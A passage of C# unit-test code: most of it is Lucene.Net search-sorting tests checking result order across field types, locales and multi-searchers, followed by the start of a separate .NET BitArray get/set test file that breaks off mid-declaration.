"BDFHJ"); } // test sorts where the type of field is specified [Test] public virtual void TestTypedSort() { sort.SetSort(new SortField("int", SortField.INT), SortField.FIELD_DOC); AssertMatches(full, queryX, sort, "IGAEC"); AssertMatches(full, queryY, sort, "DHFJB"); sort.SetSort(new SortField("float", SortField.FLOAT), SortField.FIELD_DOC); AssertMatches(full, queryX, sort, "GCIEA"); AssertMatches(full, queryY, sort, "DHJFB"); sort.SetSort(new SortField("long", SortField.LONG), SortField.FIELD_DOC); AssertMatches(full, queryX, sort, "EACGI"); AssertMatches(full, queryY, sort, "FBJHD"); sort.SetSort(new SortField("double", SortField.DOUBLE), SortField.FIELD_DOC); AssertMatches(full, queryX, sort, "AGICE"); AssertMatches(full, queryY, sort, "DJHBF"); sort.SetSort(new SortField("byte", SortField.BYTE), SortField.FIELD_DOC); AssertMatches(full, queryX, sort, "CIGAE"); AssertMatches(full, queryY, sort, "DHFBJ"); sort.SetSort(new SortField("short", SortField.SHORT), SortField.FIELD_DOC); AssertMatches(full, queryX, sort, "IAGCE"); AssertMatches(full, queryY, sort, "DFHBJ"); sort.SetSort(new SortField("string", SortField.STRING), SortField.FIELD_DOC); AssertMatches(full, queryX, sort, "AIGEC"); AssertMatches(full, queryY, sort, "DJHFB"); } /// <summary> Test String sorting: small queue to many matches, multi field sort, reverse sort</summary> [Test] public virtual void TestStringSort() { r = NewRandom(); ScoreDoc[] result = null; IndexSearcher searcher = GetFullStrings(); sort.SetSort(new SortField("string", SortField.STRING), new SortField("string2", SortField.STRING, true), SortField.FIELD_DOC); result = searcher.Search(new MatchAllDocsQuery(), null, 500, sort).ScoreDocs; System.Text.StringBuilder buff = new System.Text.StringBuilder(); int n = result.Length; System.String last = null; System.String lastSub = null; int lastDocId = 0; bool fail = false; for (int x = 0; x < n; ++x) { Document doc2 = searcher.Doc(result[x].Doc); System.String[] v = doc2.GetValues("tracer"); System.String[] v2 = doc2.GetValues("tracer2"); for (int j = 0; j < v.Length; ++j) { if (last != null) { int cmp = String.CompareOrdinal(v[j], last); if (!(cmp >= 0)) { // ensure first field is in order fail = true; System.Console.Out.WriteLine("fail:" + v[j] + " < " + last); } if (cmp == 0) { // ensure second field is in reverse order cmp = String.CompareOrdinal(v2[j], lastSub); if (cmp > 0) { fail = true; System.Console.Out.WriteLine("rev field fail:" + v2[j] + " > " + lastSub); } else if (cmp == 0) { // ensure docid is in order if (result[x].Doc < lastDocId) { fail = true; System.Console.Out.WriteLine("doc fail:" + result[x].Doc + " > " + lastDocId); } } } } last = v[j]; lastSub = v2[j]; lastDocId = result[x].Doc; buff.Append(v[j] + "(" + v2[j] + ")(" + result[x].Doc + ") "); } } if (fail) { System.Console.Out.WriteLine("topn field1(field2)(docID):" + buff); } Assert.IsFalse(fail, "Found sort results out of order"); } /// <summary> test sorts where the type of field is specified and a custom field parser /// is used, that uses a simple char encoding. The sorted string contains a /// character beginning from 'A' that is mapped to a numeric value using some /// "funny" algorithm to be different for each data type. /// </summary> [Test] public virtual void TestCustomFieldParserSort() { // since tests explicilty uses different parsers on the same fieldname // we explicitly check/purge the FieldCache between each assertMatch FieldCache fc = Lucene.Net.Search.FieldCache_Fields.DEFAULT; sort.SetSort(new SortField("parser", new AnonymousClassIntParser(this)), SortField.FIELD_DOC); AssertMatches(full, queryA, sort, "JIHGFEDCBA"); AssertSaneFieldCaches(Lucene.Net.TestCase.GetName() + " IntParser"); fc.PurgeAllCaches(); sort.SetSort(new SortField("parser", new AnonymousClassFloatParser(this)), SortField.FIELD_DOC); AssertMatches(full, queryA, sort, "JIHGFEDCBA"); AssertSaneFieldCaches(Lucene.Net.TestCase.GetName() + " FloatParser"); fc.PurgeAllCaches(); sort.SetSort(new SortField("parser", new AnonymousClassLongParser(this)), SortField.FIELD_DOC); AssertMatches(full, queryA, sort, "JIHGFEDCBA"); AssertSaneFieldCaches(Lucene.Net.TestCase.GetName() + " LongParser"); fc.PurgeAllCaches(); sort.SetSort(new SortField("parser", new AnonymousClassDoubleParser(this)), SortField.FIELD_DOC); AssertMatches(full, queryA, sort, "JIHGFEDCBA"); AssertSaneFieldCaches(Lucene.Net.TestCase.GetName() + " DoubleParser"); fc.PurgeAllCaches(); sort.SetSort(new SortField("parser", new AnonymousClassByteParser(this)), SortField.FIELD_DOC); AssertMatches(full, queryA, sort, "JIHGFEDCBA"); AssertSaneFieldCaches(Lucene.Net.TestCase.GetName() + " ByteParser"); fc.PurgeAllCaches(); sort.SetSort(new SortField("parser", new AnonymousClassShortParser(this)), SortField.FIELD_DOC); AssertMatches(full, queryA, sort, "JIHGFEDCBA"); AssertSaneFieldCaches(Lucene.Net.TestCase.GetName() + " ShortParser"); fc.PurgeAllCaches(); } // test sorts when there's nothing in the index [Test] public virtual void TestEmptyIndex() { Searcher empty = GetEmptyIndex(); sort = new Sort(); AssertMatches(empty, queryX, sort, ""); sort.SetSort(SortField.FIELD_DOC); AssertMatches(empty, queryX, sort, ""); sort.SetSort(new SortField("int", SortField.INT), SortField.FIELD_DOC); AssertMatches(empty, queryX, sort, ""); sort.SetSort(new SortField("string", SortField.STRING, true), SortField.FIELD_DOC); AssertMatches(empty, queryX, sort, ""); sort.SetSort(new SortField("float", SortField.FLOAT), new SortField("string", SortField.STRING)); AssertMatches(empty, queryX, sort, ""); } internal class MyFieldComparator:FieldComparator { [Serializable] private class AnonymousClassIntParser1 : Lucene.Net.Search.IntParser { public AnonymousClassIntParser1(MyFieldComparator enclosingInstance) { InitBlock(enclosingInstance); } private void InitBlock(MyFieldComparator enclosingInstance) { this.enclosingInstance = enclosingInstance; } private MyFieldComparator enclosingInstance; public MyFieldComparator Enclosing_Instance { get { return enclosingInstance; } } public int ParseInt(System.String val) { return (val[0] - 'A') * 123456; } } internal int[] docValues; internal int[] slotValues; internal int bottomValue; internal MyFieldComparator(int numHits) { slotValues = new int[numHits]; } public override void Copy(int slot, int doc) { slotValues[slot] = docValues[doc]; } public override int Compare(int slot1, int slot2) { return slotValues[slot1] - slotValues[slot2]; } public override int CompareBottom(int doc) { return bottomValue - docValues[doc]; } public override void SetBottom(int bottom) { bottomValue = slotValues[bottom]; } public override void SetNextReader(IndexReader reader, int docBase) { docValues = Lucene.Net.Search.FieldCache_Fields.DEFAULT.GetInts(reader, "parser", new AnonymousClassIntParser1(this)); } public override IComparable this[int slot] { get { return (System.Int32) slotValues[slot]; } } } [Serializable] internal class MyFieldComparatorSource:FieldComparatorSource { public override FieldComparator NewComparator(System.String fieldname, int numHits, int sortPos, bool reversed) { return new MyFieldComparator(numHits); } } // Test sorting w/ custom FieldComparator [Test] public virtual void TestNewCustomFieldParserSort() { sort.SetSort(new SortField("parser", new MyFieldComparatorSource())); AssertMatches(full, queryA, sort, "JIHGFEDCBA"); } // test sorts in reverse [Test] public virtual void TestReverseSort() { sort.SetSort(new SortField(null, SortField.SCORE, true), SortField.FIELD_DOC); AssertMatches(full, queryX, sort, "IEGCA"); AssertMatches(full, queryY, sort, "JFHDB"); sort.SetSort(new SortField(null, SortField.DOC, true)); AssertMatches(full, queryX, sort, "IGECA"); AssertMatches(full, queryY, sort, "JHFDB"); sort.SetSort(new SortField("int", SortField.INT, true)); AssertMatches(full, queryX, sort, "CAEGI"); AssertMatches(full, queryY, sort, "BJFHD"); sort.SetSort(new SortField("float", SortField.FLOAT, true)); AssertMatches(full, queryX, sort, "AECIG"); AssertMatches(full, queryY, sort, "BFJHD"); sort.SetSort(new SortField("string", SortField.STRING, true)); AssertMatches(full, queryX, sort, "CEGIA"); AssertMatches(full, queryY, sort, "BFHJD"); } // test sorting when the sort field is empty (undefined) for some of the documents [Test] public virtual void TestEmptyFieldSort() { sort.SetSort(new SortField("string", SortField.STRING)); AssertMatches(full, queryF, sort, "ZJI"); sort.SetSort(new SortField("string", SortField.STRING, true)); AssertMatches(full, queryF, sort, "IJZ"); sort.SetSort(new SortField("i18n", new System.Globalization.CultureInfo("en"))); AssertMatches(full, queryF, sort, "ZJI"); sort.SetSort(new SortField("i18n", new System.Globalization.CultureInfo("en"), true)); AssertMatches(full, queryF, sort, "IJZ"); sort.SetSort(new SortField("int", SortField.INT)); AssertMatches(full, queryF, sort, "IZJ"); sort.SetSort(new SortField("int", SortField.INT, true)); AssertMatches(full, queryF, sort, "JZI"); sort.SetSort(new SortField("float", SortField.FLOAT)); AssertMatches(full, queryF, sort, "ZJI"); // using a nonexisting field as first sort key shouldn't make a difference: sort.SetSort(new SortField("nosuchfield", SortField.STRING), new SortField("float", SortField.FLOAT)); AssertMatches(full, queryF, sort, "ZJI"); sort.SetSort(new SortField("float", SortField.FLOAT, true)); AssertMatches(full, queryF, sort, "IJZ"); // When a field is null for both documents, the next SortField should be used. // Works for sort.SetSort(new SortField("int", SortField.INT), new SortField("string", SortField.STRING), new SortField("float", SortField.FLOAT)); AssertMatches(full, queryG, sort, "ZWXY"); // Reverse the last criterium to make sure the test didn't pass by chance sort.SetSort(new SortField("int", SortField.INT), new SortField("string", SortField.STRING), new SortField("float", SortField.FLOAT, true)); AssertMatches(full, queryG, sort, "ZYXW"); // Do the same for a MultiSearcher Searcher multiSearcher = new MultiSearcher(new Searchable[]{full}); sort.SetSort(new SortField("int", SortField.INT), new SortField("string", SortField.STRING), new SortField("float", SortField.FLOAT)); AssertMatches(multiSearcher, queryG, sort, "ZWXY"); sort.SetSort(new SortField("int", SortField.INT), new SortField("string", SortField.STRING), new SortField("float", SortField.FLOAT, true)); AssertMatches(multiSearcher, queryG, sort, "ZYXW"); // Don't close the multiSearcher. it would close the full searcher too! #if !NET35 // Do the same for a ParallelMultiSearcher Searcher parallelSearcher = new ParallelMultiSearcher(new Searchable[]{full}); sort.SetSort(new SortField("int", SortField.INT), new SortField("string", SortField.STRING), new SortField("float", SortField.FLOAT)); AssertMatches(parallelSearcher, queryG, sort, "ZWXY"); sort.SetSort(new SortField("int", SortField.INT), new SortField("string", SortField.STRING), new SortField("float", SortField.FLOAT, true)); AssertMatches(parallelSearcher, queryG, sort, "ZYXW"); // Don't close the parallelSearcher. it would close the full searcher too! #endif } // test sorts using a series of fields [Test] public virtual void TestSortCombos() { sort.SetSort(new SortField("int", SortField.INT), new SortField("float", SortField.FLOAT)); AssertMatches(full, queryX, sort, "IGEAC"); sort.SetSort(new SortField[]{new SortField("int", SortField.INT, true), new SortField(null, SortField.DOC, true)}); AssertMatches(full, queryX, sort, "CEAGI"); sort.SetSort(new SortField("float", SortField.FLOAT), new SortField("string", SortField.STRING)); AssertMatches(full, queryX, sort, "GICEA"); } // test using a Locale for sorting strings [Test] public virtual void TestLocaleSort() { sort.SetSort(new SortField("string", new System.Globalization.CultureInfo("en-US"))); AssertMatches(full, queryX, sort, "AIGEC"); AssertMatches(full, queryY, sort, "DJHFB"); sort.SetSort(new SortField("string", new System.Globalization.CultureInfo("en-US"), true)); AssertMatches(full, queryX, sort, "CEGIA"); AssertMatches(full, queryY, sort, "BFHJD"); } // test using various international locales with accented characters // (which sort differently depending on locale) [Test] public virtual void TestInternationalSort() { sort.SetSort(new SortField("i18n", new System.Globalization.CultureInfo("en-US"))); AssertMatches(full, queryY, sort, "BFJHD"); sort.SetSort(new SortField("i18n", new System.Globalization.CultureInfo("sv-se"))); AssertMatches(full, queryY, sort, "BJDFH"); sort.SetSort(new SortField("i18n", new System.Globalization.CultureInfo("da-dk"))); AssertMatches(full, queryY, sort, "BJDHF"); sort.SetSort(new SortField("i18n", new System.Globalization.CultureInfo("en-US"))); AssertMatches(full, queryX, sort, "ECAGI"); sort.SetSort(new SortField("i18n", new System.Globalization.CultureInfo("fr-FR"))); AssertMatches(full, queryX, sort, "EACGI"); } // Test the MultiSearcher's ability to preserve locale-sensitive ordering // by wrapping it around a single searcher [Test] public virtual void TestInternationalMultiSearcherSort() { Searcher multiSearcher = new MultiSearcher(new Searchable[]{full}); sort.SetSort(new SortField("i18n", new System.Globalization.CultureInfo("sv" + "-" + "se"))); AssertMatches(multiSearcher, queryY, sort, "BJDFH"); sort.SetSort(new SortField("i18n", new System.Globalization.CultureInfo("en-US"))); AssertMatches(multiSearcher, queryY, sort, "BFJHD"); sort.SetSort(new SortField("i18n", new System.Globalization.CultureInfo("da" + "-" + "dk"))); AssertMatches(multiSearcher, queryY, sort, "BJDHF"); } // test a variety of sorts using more than one searcher [Test] public virtual void TestMultiSort() { MultiSearcher searcher = new MultiSearcher(new Searchable[]{searchX, searchY}); RunMultiSorts(searcher, false); } #if !NET35 #if GALLIO [Ignore] // TODO: Find out why this fails in nunit and gallio in release. Seems to be a race condition #endif // test a variety of sorts using a parallel multisearcher [Test] public virtual void TestParallelMultiSort() { Searcher searcher = new ParallelMultiSearcher(new Searchable[]{searchX, searchY}); RunMultiSorts(searcher, false); } #endif // test that the relevancy scores are the same even if // hits are sorted [Test] public virtual void TestNormalizedScores() { // capture relevancy scores System.Collections.Hashtable scoresX = GetScores(full.Search(queryX, null, 1000).ScoreDocs, full); System.Collections.Hashtable scoresY = GetScores(full.Search(queryY, null, 1000).ScoreDocs, full); System.Collections.Hashtable scoresA = GetScores(full.Search(queryA, null, 1000).ScoreDocs, full); // we'll test searching locally, remote and multi MultiSearcher multi = new MultiSearcher(new Searchable[]{searchX, searchY}); // change sorting and make sure relevancy stays the same sort = new Sort(); AssertSameValues(scoresX, GetScores(full.Search(queryX, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresX, GetScores(multi.Search(queryX, null, 1000, sort).ScoreDocs, multi)); AssertSameValues(scoresY, GetScores(full.Search(queryY, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresY, GetScores(multi.Search(queryY, null, 1000, sort).ScoreDocs, multi)); AssertSameValues(scoresA, GetScores(full.Search(queryA, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresA, GetScores(multi.Search(queryA, null, 1000, sort).ScoreDocs, multi)); sort.SetSort(SortField.FIELD_DOC); AssertSameValues(scoresX, GetScores(full.Search(queryX, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresX, GetScores(multi.Search(queryX, null, 1000, sort).ScoreDocs, multi)); AssertSameValues(scoresY, GetScores(full.Search(queryY, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresY, GetScores(multi.Search(queryY, null, 1000, sort).ScoreDocs, multi)); AssertSameValues(scoresA, GetScores(full.Search(queryA, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresA, GetScores(multi.Search(queryA, null, 1000, sort).ScoreDocs, multi)); sort.SetSort(new SortField("int", SortField.INT)); AssertSameValues(scoresX, GetScores(full.Search(queryX, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresX, GetScores(multi.Search(queryX, null, 1000, sort).ScoreDocs, multi)); AssertSameValues(scoresY, GetScores(full.Search(queryY, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresY, GetScores(multi.Search(queryY, null, 1000, sort).ScoreDocs, multi)); AssertSameValues(scoresA, GetScores(full.Search(queryA, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresA, GetScores(multi.Search(queryA, null, 1000, sort).ScoreDocs, multi)); sort.SetSort(new SortField("float", SortField.FLOAT)); AssertSameValues(scoresX, GetScores(full.Search(queryX, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresX, GetScores(multi.Search(queryX, null, 1000, sort).ScoreDocs, multi)); AssertSameValues(scoresY, GetScores(full.Search(queryY, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresY, GetScores(multi.Search(queryY, null, 1000, sort).ScoreDocs, multi)); AssertSameValues(scoresA, GetScores(full.Search(queryA, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresA, GetScores(multi.Search(queryA, null, 1000, sort).ScoreDocs, multi)); sort.SetSort(new SortField("string", SortField.STRING)); AssertSameValues(scoresX, GetScores(full.Search(queryX, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresX, GetScores(multi.Search(queryX, null, 1000, sort).ScoreDocs, multi)); AssertSameValues(scoresY, GetScores(full.Search(queryY, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresY, GetScores(multi.Search(queryY, null, 1000, sort).ScoreDocs, multi)); AssertSameValues(scoresA, GetScores(full.Search(queryA, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresA, GetScores(multi.Search(queryA, null, 1000, sort).ScoreDocs, multi)); sort.SetSort(new SortField("int", SortField.INT), new SortField("float", SortField.FLOAT)); AssertSameValues(scoresX, GetScores(full.Search(queryX, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresX, GetScores(multi.Search(queryX, null, 1000, sort).ScoreDocs, multi)); AssertSameValues(scoresY, GetScores(full.Search(queryY, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresY, GetScores(multi.Search(queryY, null, 1000, sort).ScoreDocs, multi)); AssertSameValues(scoresA, GetScores(full.Search(queryA, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresA, GetScores(multi.Search(queryA, null, 1000, sort).ScoreDocs, multi)); sort.SetSort(new SortField("int", SortField.INT, true), new SortField(null, SortField.DOC, true)); AssertSameValues(scoresX, GetScores(full.Search(queryX, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresX, GetScores(multi.Search(queryX, null, 1000, sort).ScoreDocs, multi)); AssertSameValues(scoresY, GetScores(full.Search(queryY, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresY, GetScores(multi.Search(queryY, null, 1000, sort).ScoreDocs, multi)); AssertSameValues(scoresA, GetScores(full.Search(queryA, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresA, GetScores(multi.Search(queryA, null, 1000, sort).ScoreDocs, multi)); sort.SetSort(new SortField("int", SortField.INT), new SortField("string", SortField.STRING)); AssertSameValues(scoresX, GetScores(full.Search(queryX, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresX, GetScores(multi.Search(queryX, null, 1000, sort).ScoreDocs, multi)); AssertSameValues(scoresY, GetScores(full.Search(queryY, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresY, GetScores(multi.Search(queryY, null, 1000, sort).ScoreDocs, multi)); AssertSameValues(scoresA, GetScores(full.Search(queryA, null, 1000, sort).ScoreDocs, full)); AssertSameValues(scoresA, GetScores(multi.Search(queryA, null, 1000, sort).ScoreDocs, multi)); } [Test] public virtual void TestTopDocsScores() { // There was previously a bug in FieldSortedHitQueue.maxscore when only a single // doc was added. That is what the following tests for. Sort sort = new Sort(); int nDocs = 10; // try to pick a query that will result in an unnormalized // score greater than 1 to test for correct normalization TopDocs docs1 = full.Search(queryE, null, nDocs, sort); // a filter that only allows through the first hit Filter filt = new AnonymousClassFilter(docs1, this); TopDocs docs2 = full.Search(queryE, filt, nDocs, sort); Assert.AreEqual(docs1.ScoreDocs[0].Score, docs2.ScoreDocs[0].Score, 1e-6); } [Test] public virtual void TestSortWithoutFillFields() { // There was previously a bug in TopFieldCollector when fillFields was set // to false - the same doc and score was set in ScoreDoc[] array. This test // asserts that if fillFields is false, the documents are set properly. It // does not use Searcher's default search methods (with Sort) since all set // fillFields to true. Sort[] sort = new Sort[]{new Sort(SortField.FIELD_DOC), new Sort()}; for (int i = 0; i < sort.Length; i++) { Query q = new MatchAllDocsQuery(); TopFieldCollector tdc = TopFieldCollector.Create(sort[i], 10, false, false, false, true); full.Search(q, tdc); ScoreDoc[] sd = tdc.TopDocs().ScoreDocs; for (int j = 1; j < sd.Length; j++) { Assert.IsTrue(sd[j].Doc != sd[j - 1].Doc); } } } [Test] public virtual void TestSortWithoutScoreTracking() { // Two Sort criteria to instantiate the multi/single comparators. Sort[] sort = new Sort[]{new Sort(SortField.FIELD_DOC), new Sort()}; for (int i = 0; i < sort.Length; i++) { Query q = new MatchAllDocsQuery(); TopFieldCollector tdc = TopFieldCollector.Create(sort[i], 10, true, false, false, true); full.Search(q, tdc); TopDocs td = tdc.TopDocs(); ScoreDoc[] sd = td.ScoreDocs; for (int j = 0; j < sd.Length; j++) { Assert.IsTrue(System.Single.IsNaN(sd[j].Score)); } Assert.IsTrue(System.Single.IsNaN(td.MaxScore)); } } [Test] public virtual void TestSortWithScoreNoMaxScoreTracking() { // Two Sort criteria to instantiate the multi/single comparators. Sort[] sort = new Sort[]{new Sort(SortField.FIELD_DOC), new Sort()}; for (int i = 0; i < sort.Length; i++) { Query q = new MatchAllDocsQuery(); TopDocsCollector<FieldValueHitQueue.Entry> tdc = TopFieldCollector.Create(sort[i], 10, true, true, false, true); full.Search(q, tdc); TopDocs td = tdc.TopDocs(); ScoreDoc[] sd = td.ScoreDocs; for (int j = 0; j < sd.Length; j++) { Assert.IsTrue(!System.Single.IsNaN(sd[j].Score)); } Assert.IsTrue(System.Single.IsNaN(td.MaxScore)); } } [Test] public virtual void TestSortWithScoreAndMaxScoreTracking() { // Two Sort criteria to instantiate the multi/single comparators. Sort[] sort = new Sort[]{new Sort(SortField.FIELD_DOC), new Sort()}; for (int i = 0; i < sort.Length; i++) { Query q = new MatchAllDocsQuery(); TopFieldCollector tdc = TopFieldCollector.Create(sort[i], 10, true, true, true, true); full.Search(q, tdc); TopDocs td = tdc.TopDocs(); ScoreDoc[] sd = td.ScoreDocs; for (int j = 0; j < sd.Length; j++) { Assert.IsTrue(!System.Single.IsNaN(sd[j].Score)); } Assert.IsTrue(!System.Single.IsNaN(td.MaxScore)); } } [Test] public virtual void TestOutOfOrderDocsScoringSort() { // Two Sort criteria to instantiate the multi/single comparators. Sort[] sort = new Sort[]{new Sort(SortField.FIELD_DOC), new Sort()}; bool[][] tfcOptions = new bool[][]{new bool[]{false, false, false}, new bool[]{false, false, true}, new bool[]{false, true, false}, new bool[]{false, true, true}, new bool[]{true, false, false}, new bool[]{true, false, true}, new bool[]{true, true, false}, new bool[]{true, true, true}}; System.String[] actualTFCClasses = new System.String[] { "OutOfOrderOneComparatorNonScoringCollector", "OutOfOrderOneComparatorScoringMaxScoreCollector", "OutOfOrderOneComparatorScoringNoMaxScoreCollector", "OutOfOrderOneComparatorScoringMaxScoreCollector", "OutOfOrderOneComparatorNonScoringCollector", "OutOfOrderOneComparatorScoringMaxScoreCollector", "OutOfOrderOneComparatorScoringNoMaxScoreCollector", "OutOfOrderOneComparatorScoringMaxScoreCollector" }; BooleanQuery bq = new BooleanQuery(); // Add a Query with SHOULD, since bw.scorer() returns BooleanScorer2 // which delegates to BS if there are no mandatory clauses. bq.Add(new MatchAllDocsQuery(), Occur.SHOULD); // Set minNrShouldMatch to 1 so that BQ will not optimize rewrite to return // the clause instead of BQ. bq.MinimumNumberShouldMatch = 1; for (int i = 0; i < sort.Length; i++) { for (int j = 0; j < tfcOptions.Length; j++) { TopFieldCollector tdc = TopFieldCollector.Create(sort[i], 10, tfcOptions[j][0], tfcOptions[j][1], tfcOptions[j][2], false); Assert.IsTrue(tdc.GetType().FullName.EndsWith("+" + actualTFCClasses[j])); full.Search(bq, tdc); TopDocs td = tdc.TopDocs(); ScoreDoc[] sd = td.ScoreDocs; Assert.AreEqual(10, sd.Length); } } } [Test] public virtual void TestSortWithScoreAndMaxScoreTrackingNoResults() { // Two Sort criteria to instantiate the multi/single comparators. Sort[] sort = new Sort[]{new Sort(SortField.FIELD_DOC), new Sort()}; for (int i = 0; i < sort.Length; i++) { TopFieldCollector tdc = TopFieldCollector.Create(sort[i], 10, true, true, true, true); TopDocs td = tdc.TopDocs(); Assert.AreEqual(0, td.TotalHits); Assert.IsTrue(System.Single.IsNaN(td.MaxScore)); } } // runs a variety of sorts useful for multisearchers private void RunMultiSorts(Searcher multi, bool isFull) { sort.SetSort(SortField.FIELD_DOC); System.String expected = isFull?"ABCDEFGHIJ":"ACEGIBDFHJ"; AssertMatches(multi, queryA, sort, expected); sort.SetSort(new SortField("int", SortField.INT)); expected = isFull?"IDHFGJABEC":"IDHFGJAEBC"; AssertMatches(multi, queryA, sort, expected); sort.SetSort(new SortField("int", SortField.INT), SortField.FIELD_DOC); expected = isFull?"IDHFGJABEC":"IDHFGJAEBC"; AssertMatches(multi, queryA, sort, expected); sort.SetSort(new SortField("int", SortField.INT)); expected = isFull?"IDHFGJABEC":"IDHFGJAEBC"; AssertMatches(multi, queryA, sort, expected); sort.SetSort(new SortField("float", SortField.FLOAT), SortField.FIELD_DOC); AssertMatches(multi, queryA, sort, "GDHJCIEFAB"); sort.SetSort(new SortField("float", SortField.FLOAT)); AssertMatches(multi, queryA, sort, "GDHJCIEFAB"); sort.SetSort(new SortField("string", SortField.STRING)); AssertMatches(multi, queryA, sort, "DJAIHGFEBC"); sort.SetSort(new SortField("int", SortField.INT, true)); expected = isFull?"CABEJGFHDI":"CAEBJGFHDI"; AssertMatches(multi, queryA, sort, expected); sort.SetSort(new SortField("float", SortField.FLOAT, true)); AssertMatches(multi, queryA, sort, "BAFECIJHDG"); sort.SetSort(new SortField("string", SortField.STRING, true)); AssertMatches(multi, queryA, sort, "CBEFGHIAJD"); sort.SetSort(new SortField("int", SortField.INT), new SortField("float", SortField.FLOAT)); AssertMatches(multi, queryA, sort, "IDHFGJEABC"); sort.SetSort(new SortField("float", SortField.FLOAT), new SortField("string", SortField.STRING)); AssertMatches(multi, queryA, sort, "GDHJICEFAB"); sort.SetSort(new SortField("int", SortField.INT)); AssertMatches(multi, queryF, sort, "IZJ"); sort.SetSort(new SortField("int", SortField.INT, true)); AssertMatches(multi, queryF, sort, "JZI"); sort.SetSort(new SortField("float", SortField.FLOAT)); AssertMatches(multi, queryF, sort, "ZJI"); sort.SetSort(new SortField("string", SortField.STRING)); AssertMatches(multi, queryF, sort, "ZJI"); sort.SetSort(new SortField("string", SortField.STRING, true)); AssertMatches(multi, queryF, sort, "IJZ"); // up to this point, all of the searches should have "sane" // FieldCache behavior, and should have reused hte cache in several cases AssertSaneFieldCaches(Lucene.Net.TestCase.GetName() + " various"); // next we'll check Locale based (String[]) for 'string', so purge first Lucene.Net.Search.FieldCache_Fields.DEFAULT.PurgeAllCaches(); sort.SetSort(new SortField("string", new System.Globalization.CultureInfo("en-US"))); AssertMatches(multi, queryA, sort, "DJAIHGFEBC"); sort.SetSort(new SortField("string", new System.Globalization.CultureInfo("en-US"), true)); AssertMatches(multi, queryA, sort, "CBEFGHIAJD"); sort.SetSort(new SortField("string", new System.Globalization.CultureInfo("en-GB"))); AssertMatches(multi, queryA, sort, "DJAIHGFEBC"); AssertSaneFieldCaches(Lucene.Net.TestCase.GetName() + " Locale.US + Locale.UK"); Lucene.Net.Search.FieldCache_Fields.DEFAULT.PurgeAllCaches(); } // make sure the documents returned by the search match the expected list private void AssertMatches(Searcher searcher, Query query, Sort sort, System.String expectedResult) { //ScoreDoc[] result = searcher.search (query, null, 1000, sort).scoreDocs; TopDocs hits = searcher.Search(query, null, expectedResult.Length, sort); ScoreDoc[] result = hits.ScoreDocs; Assert.AreEqual(hits.TotalHits, expectedResult.Length); System.Text.StringBuilder buff = new System.Text.StringBuilder(10); int n = result.Length; for (int i = 0; i < n; ++i) { Document doc = searcher.Doc(result[i].Doc); System.String[] v = doc.GetValues("tracer"); for (int j = 0; j < v.Length; ++j) { buff.Append(v[j]); } } Assert.AreEqual(expectedResult, buff.ToString()); } private System.Collections.Hashtable GetScores(ScoreDoc[] hits, Searcher searcher) { System.Collections.Hashtable scoreMap = new System.Collections.Hashtable(); int n = hits.Length; for (int i = 0; i < n; ++i) { Document doc = searcher.Doc(hits[i].Doc); System.String[] v = doc.GetValues("tracer"); Assert.AreEqual(v.Length, 1); scoreMap[v[0]] = (float) hits[i].Score; } return scoreMap; } // make sure all the values in the maps match private void AssertSameValues(System.Collections.Hashtable m1, System.Collections.Hashtable m2) { int n = m1.Count; int m = m2.Count; Assert.AreEqual(n, m); System.Collections.IEnumerator iter = m1.Keys.GetEnumerator(); while (iter.MoveNext()) { System.Object key = iter.Current; System.Object o1 = m1[key]; System.Object o2 = m2[key]; if (o1 is System.Single) { Assert.AreEqual((float) ((System.Single) o1), (float) ((System.Single) o2), 1e-6); } else { Assert.AreEqual(m1[key], m2[key]); } } } [Test] public void TestLUCENE2142() { RAMDirectory indexStore = new RAMDirectory(); IndexWriter writer = new IndexWriter(indexStore, new SimpleAnalyzer(), true, IndexWriter.MaxFieldLength.LIMITED); for (int i = 0; i < 5; i++) { Document doc = new Document(); doc.Add(new Field("string", "a" + i, Field.Store.NO, Field.Index.NOT_ANALYZED)); doc.Add(new Field("string", "b" + i, Field.Store.NO, Field.Index.NOT_ANALYZED)); writer.AddDocument(doc); } writer.Optimize(); // enforce one segment to have a higher unique term count in all cases writer.Close(); sort.SetSort(new SortField("string", SortField.STRING),SortField.FIELD_DOC); // this should not throw AIOOBE or RuntimeEx new IndexSearcher(indexStore, true).Search(new MatchAllDocsQuery(), null, 500, sort); } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System.Collections.Generic; using System.Linq; using Xunit; namespace System.Collections.Tests { public static class BitArray_GetSetTests { private const int BitsPerByte = 8; private const int BitsPerInt32 = 32; public static IEnumerable<object[]> Get_Set_Data() { foreach (int size in new[] { 0, 1, BitsPerByte, BitsPerByte * 2, BitsPerInt32, BitsPerInt32 * 2 }) { foreach (bool def in new[] { true, false }) { yield return new object[] { def, Enumerable.Repeat(true, size).ToArray() }; yield return new object[] { def, Enumerable.Repeat(false, size).ToArray() }; yield return new object[] { def, Enumerable.Range(0, size).Select(i => i % 2 == 1).ToArray() }; } } } [Theory] [MemberData(nameof(Get_Set_Data))] public static void Get_Set(bool def, bool[] newValues) { BitArray bitArray = new BitArray(newValues.Length, def); for (int i = 0; i < newValues.Length; i++) { bitArray.Set(i, newValues[i]); Assert.Equal(newValues[i], bitArray[i]); Assert.Equal(newValues[i], bitArray.Get(i)); } } [Fact] public static void 